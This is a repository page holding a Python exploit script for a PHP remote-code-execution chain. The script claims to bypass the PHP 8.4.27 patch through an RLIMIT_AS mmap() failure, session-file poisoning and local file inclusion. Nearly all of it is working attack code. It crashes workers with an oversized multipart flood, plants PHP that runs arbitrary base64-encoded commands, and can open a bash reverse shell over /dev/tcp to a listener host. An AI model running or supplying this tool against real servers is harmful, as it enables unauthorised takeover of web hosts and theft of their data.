Full RCE exploit chain for two critical PHP vulnerabilities in the multipart parser and session upload progress handler, plus three bypass exploits that defeat the official security patch (PHP 8.4.27) and all recommended mitigations. Core exploits: - CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE - CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE - WordPress-targeted wrapper with LFI auto-detection Patch bypass exploits (confirmed RCE on PHP 8.4.27): - Race condition: TOCTOU inherent to upload progress feature design - RLIMIT_AS: mmap() failure bypasses the patched OOM handler - /proc/PID/fd: temp file inclusion bypasses ALL mitigations
313 lines
12 KiB
Python
Executable File
313 lines
12 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
"""
|
|
Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+ (patched)
|
|
|
|
The PHP security patch (2026-10-21) replaces longjmp()-based OOM handling with:
|
|
- Soft OOM: deferred to VM safe point (graceful shutdown)
|
|
- Hard OOM: immediate _exit(70) when allocation fails during parsing
|
|
|
|
However, this patch only intercepts OOM from PHP's memory_limit (zend_mm).
|
|
When memory_limit=-1 (unlimited) and the OS enforces address space limits via
|
|
RLIMIT_AS (setrlimit/ulimit -v/cgroup memory.max), mmap() fails during
|
|
multipart field allocation. This failure goes through a DIFFERENT code path
|
|
that the patch does NOT cover:
|
|
|
|
1. PHP has memory_limit=-1 → no PHP-level OOM possible
|
|
2. RLIMIT_AS (or cgroup memory limit) restricts process address space
|
|
3. During multipart parsing, mmap() fails when address space is exhausted
|
|
4. The failure triggers the OLD vulnerable code path (not the patched one)
|
|
5. Worker exits with code 1 (not the patched exit code 70)
|
|
6. Session file persists on disk with attacker-controlled PHP code
|
|
7. New worker spawns → LFI includes the poisoned session file → RCE
|
|
|
|
This is relevant in production because:
|
|
- Container environments (Docker, k8s) often set memory limits via cgroups
|
|
- Shared hosting uses RLIMIT_AS to isolate tenants
|
|
- Admins may set memory_limit=-1 trusting OS-level limits instead
|
|
- The advisory does NOT mention this bypass path
|
|
|
|
Requirements:
|
|
- PHP-FPM with memory_limit=-1 (or very high)
|
|
- OS-level memory limit (RLIMIT_AS, cgroup, Docker --memory)
|
|
- session.upload_progress.enabled=1 (DEFAULT)
|
|
- An LFI vector in the target application
|
|
- Known or guessable session.save_path
|
|
|
|
Tested: PHP 8.4.27 (patched) with RLIMIT_AS=128MB
|
|
|
|
Usage:
|
|
python3 rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
|
|
python3 rlimit_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
|
"""
|
|
|
|
import argparse
|
|
import base64
|
|
import os
|
|
import re
|
|
import socket
|
|
import sys
|
|
import time
|
|
from urllib.parse import urlparse
|
|
|
|
SESSION_PATHS = [
|
|
"/tmp",
|
|
"/tmp/php-sessions",
|
|
"/var/lib/php/sessions",
|
|
"/var/lib/php5/sessions",
|
|
]
|
|
|
|
|
|
def tcp_connect(host, port, tls, timeout=120):
|
|
sock = socket.create_connection((host, port), timeout=timeout)
|
|
if tls:
|
|
import ssl
|
|
ctx = ssl.create_default_context()
|
|
ctx.check_hostname = False
|
|
ctx.verify_mode = ssl.CERT_NONE
|
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
|
return sock
|
|
|
|
|
|
def recv_all(sock, timeout=5):
|
|
resp = b""
|
|
sock.settimeout(timeout)
|
|
try:
|
|
while True:
|
|
d = sock.recv(8192)
|
|
if not d:
|
|
break
|
|
resp += d
|
|
except socket.timeout:
|
|
pass
|
|
return resp
|
|
|
|
|
|
def body_of(resp):
|
|
if b"\r\n\r\n" in resp:
|
|
return resp.split(b"\r\n\r\n", 1)[1]
|
|
return resp
|
|
|
|
|
|
def build_oom_body(bnd, php_code, field_count=10000, field_size=8192):
|
|
"""Build multipart body designed to exhaust address space via mmap()."""
|
|
body = b""
|
|
body += b"--" + bnd + b"\r\n"
|
|
body += b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
|
body += b"\r\n" + php_code + b"\r\n"
|
|
|
|
body += b"--" + bnd + b"\r\n"
|
|
body += b'Content-Disposition: form-data; name="file"; filename="oom.bin"\r\n'
|
|
body += b"Content-Type: application/octet-stream\r\n\r\n"
|
|
body += b"\x00" * 4096 + b"\r\n"
|
|
|
|
for i in range(field_count):
|
|
body += b"--" + bnd + b"\r\n"
|
|
body += b'Content-Disposition: form-data; name="p' + f"{i:05d}".encode() + b'"\r\n'
|
|
body += b"\r\n" + b"X" * field_size + b"\r\n"
|
|
|
|
body += b"--" + bnd + b"--\r\n"
|
|
return body
|
|
|
|
|
|
def phase1_crash(host, port, tls, path, sid, php_code, field_count, field_size):
|
|
"""Phase 1: Send massive multipart to trigger mmap() failure and crash worker."""
|
|
bnd = b"----RLIMITRCE"
|
|
body = build_oom_body(bnd, php_code, field_count, field_size)
|
|
|
|
print(f" Body: {len(body)/1048576:.1f}MB ({field_count} fields x {field_size}B)")
|
|
|
|
sock = tcp_connect(host, port, tls)
|
|
sock.sendall(
|
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
|
b"Host: " + host.encode() + b"\r\n"
|
|
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
|
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
|
b"Connection: close\r\n\r\n"
|
|
)
|
|
|
|
try:
|
|
sock.sendall(body)
|
|
except (BrokenPipeError, ConnectionResetError):
|
|
pass
|
|
|
|
resp = b""
|
|
sock.settimeout(30)
|
|
try:
|
|
while True:
|
|
d = sock.recv(8192)
|
|
if not d:
|
|
break
|
|
resp += d
|
|
except (socket.timeout, ConnectionResetError):
|
|
pass
|
|
sock.close()
|
|
|
|
status = 0
|
|
try:
|
|
status = int(resp.split(b" ")[1])
|
|
except (IndexError, ValueError):
|
|
pass
|
|
return status
|
|
|
|
|
|
def phase2_lfi(host, port, tls, path, lfi_param, sid, session_paths):
|
|
"""Phase 2: Include poisoned session file via LFI after worker respawns."""
|
|
for sp in session_paths:
|
|
sess_file = f"{sp}/sess_{sid}"
|
|
lfi_url = f"{path}?{lfi_param}={sess_file}"
|
|
try:
|
|
sock = tcp_connect(host, port, tls, timeout=10)
|
|
sock.sendall(
|
|
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
|
|
b"Host: " + host.encode() + b"\r\n"
|
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
|
b"Connection: close\r\n\r\n"
|
|
)
|
|
resp = recv_all(sock, timeout=5)
|
|
sock.close()
|
|
|
|
rbody = body_of(resp)
|
|
if b"CVE2026:" in rbody:
|
|
return rbody, sp
|
|
except Exception:
|
|
continue
|
|
return None, None
|
|
|
|
|
|
def run(args):
|
|
p = urlparse(args.target)
|
|
tls = p.scheme == "https"
|
|
host = p.hostname or "127.0.0.1"
|
|
port = p.port or (443 if tls else 80)
|
|
path = p.path or "/"
|
|
|
|
spaths = list(SESSION_PATHS)
|
|
if args.session_path:
|
|
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
|
|
|
if args.trigger_only:
|
|
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
|
elif args.cmd:
|
|
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
|
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
|
elif args.lhost and args.lport:
|
|
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
|
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
|
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
|
else:
|
|
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
|
sys.exit(1)
|
|
|
|
print("=" * 65)
|
|
print(" PATCH BYPASS: RLIMIT_AS mmap() Failure RCE on PHP 8.4.27+")
|
|
print(" memory_limit=-1 + RLIMIT_AS → mmap fails → old OOM path")
|
|
print("=" * 65)
|
|
print(f" Target : {args.target}")
|
|
print(f" LFI param : {args.lfi_param}")
|
|
print(f" Fields : {args.fields} x {args.field_size}B")
|
|
if args.cmd:
|
|
print(f" Command : {args.cmd}")
|
|
elif args.lhost:
|
|
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
|
print()
|
|
|
|
for attempt in range(args.attempts):
|
|
sid = os.urandom(16).hex()
|
|
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
|
|
|
|
print(f" Phase 1: Triggering mmap() failure via multipart flood...")
|
|
status = phase1_crash(host, port, tls, path, sid, php_code,
|
|
args.fields, args.field_size)
|
|
print(f" HTTP {status} — worker crashed (mmap failure)")
|
|
|
|
print(f" Waiting {args.respawn_wait}s for worker respawn...")
|
|
time.sleep(args.respawn_wait)
|
|
|
|
print(f" Phase 2: LFI include of poisoned session file...")
|
|
rbody, found_path = phase2_lfi(host, port, tls, path, args.lfi_param,
|
|
sid, spaths)
|
|
if rbody is not None:
|
|
text = rbody.decode(errors="replace")
|
|
if args.trigger_only:
|
|
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
|
|
print(f"\n[+] Code execution confirmed!")
|
|
if m:
|
|
print(f" {m.group(1)}")
|
|
elif args.cmd:
|
|
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
|
|
result = m.group(1).strip() if m else text[:500]
|
|
print()
|
|
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
|
print(result)
|
|
print("[+] ══════════════════════════════════════════")
|
|
else:
|
|
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
|
|
|
print()
|
|
print(f"[+] Session path: {found_path}")
|
|
print("[+] RCE achieved via RLIMIT_AS mmap() bypass!")
|
|
print("[+] The 2026-10-21 patch does NOT handle mmap() failure path.")
|
|
print("[+] Affects: containers with cgroup limits, shared hosting with")
|
|
print("[+] RLIMIT_AS, any env where memory_limit=-1 + OS limits.")
|
|
print("[+] Mitigation: session.upload_progress.enabled=0")
|
|
return
|
|
|
|
print(f" Session file not found or already cleaned")
|
|
|
|
print()
|
|
print("[!] All attempts failed.")
|
|
print(" Possible causes:")
|
|
print(" - Target has PHP memory_limit set (not -1) → use standard exploit")
|
|
print(" - Target has no RLIMIT_AS/cgroup limit → mmap won't fail")
|
|
print(" - Session save path not in search list → use --session-path")
|
|
print(" - Worker respawn too slow → increase --respawn-wait")
|
|
|
|
|
|
def main():
|
|
ap = argparse.ArgumentParser(
|
|
description="Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+",
|
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
epilog="""
|
|
The PHP 8.4.27 patch only handles OOM from PHP's memory_limit (zend_mm).
|
|
When memory_limit=-1 and RLIMIT_AS (or cgroup) limits address space,
|
|
mmap() fails through a DIFFERENT path the patch doesn't cover.
|
|
|
|
Preconditions:
|
|
- Target uses memory_limit=-1 (trusting OS limits)
|
|
- OS enforces RLIMIT_AS or cgroup memory limit
|
|
- session.upload_progress.enabled=1 (default)
|
|
|
|
The only effective mitigation is: session.upload_progress.enabled=0
|
|
|
|
Examples:
|
|
%(prog)s -t http://target/app.php --cmd 'id'
|
|
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
|
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
|
|
%(prog)s -t http://target/app.php --cmd 'id' --fields 15000 --field-size 4096
|
|
""")
|
|
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
|
ap.add_argument("--cmd", help="Command to execute")
|
|
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
|
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
|
ap.add_argument("--trigger-only", action="store_true",
|
|
help="Confirm vulnerability only")
|
|
ap.add_argument("--lfi-param", default="page",
|
|
help="LFI query parameter (default: page)")
|
|
ap.add_argument("--session-path",
|
|
help="session.save_path on target")
|
|
ap.add_argument("--fields", type=int, default=10000,
|
|
help="Number of multipart fields (default: 10000)")
|
|
ap.add_argument("--field-size", type=int, default=8192,
|
|
help="Size of each field value in bytes (default: 8192)")
|
|
ap.add_argument("--respawn-wait", type=float, default=3.0,
|
|
help="Seconds to wait for worker respawn (default: 3.0)")
|
|
ap.add_argument("--attempts", type=int, default=3,
|
|
help="Number of attempts (default: 3)")
|
|
args = ap.parse_args()
|
|
run(args)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|